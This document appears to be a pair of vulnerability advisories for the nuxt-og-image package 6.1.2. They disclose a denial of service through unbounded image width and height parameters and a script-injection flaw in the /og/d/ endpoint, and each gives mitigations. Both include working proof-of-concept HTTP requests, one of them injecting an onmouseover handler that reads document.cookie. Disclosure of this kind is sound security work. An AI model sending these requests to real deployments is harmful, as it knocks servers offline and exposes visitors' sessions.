Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-404: Improper Resource Shutdown or Release Description: Failure to limit the length and width of the generated image results in a denial of service. Impact: Denial of service Exploitation condition: An external user Mitigation: Implement a limitation on the width and length of the generated image. Researcher: Dmitry Prokhorov (Positive Technologies)
Research During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered. This research revealed that the image‑generation component by the URI: /og/d/ (and, in older versions, /og-image/) contains a Denial of Service (DoS) vulnerability. The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates.
Listing 1. The content of the configuration file nuxt.config.ts export default defineNuxtConfig({ modules: ['nuxt-og-image'], devServer: { host: 'web-test.local', port: 3000 }, site: { url: 'http://web-test.local:3000', }, ogImage: { fonts: [ 'Inter:400', 'Inter:700' ], } })
Vulnerability reproduction To demonstrate the proof‑of‑concept, a request should be sent with the increased width and height parameters. This will cause a delay and exhaust the server’s resources during image generation.
Listing 2. HTTP-request example GET /og/d/og.png?width=20000&height=20000 HTTP/1.1 Host: web-test.local:3000

After sending a HTTP-request, the test server's memory was exhausted.

Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation Description: Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection. Impact: Client-Side JavaScript Execution Exploitation condition: An external user Mitigation: Correct the logic of parsing GET parameters and their subsequent implementation into the generated page. Researcher: Dmitry Prokhorov (Positive Technologies)
Research During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered. This research revealed that the image‑generation component by the URI: /og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.
Listing 1. The content of the configuration file nuxt.config.ts export default defineNuxtConfig({ modules: ['nuxt-og-image'], devServer: { host: 'web-test.local', port: 3000 }, site: { url: 'http://web-test.local:3000', }, ogImage: { fonts: [ 'Inter:400', 'Inter:700' ], } })
Vulnerability reproduction To demonstrate the proof‑of‑concept, follow the URI: /og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus The injected parameters onmouseover=alert(document.cookie) and autofocus are treated as attributes and are inserted directly into the generated HTML page.
Listing 2. HTTP-request example GET /og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1 Host: web-test.local:3000
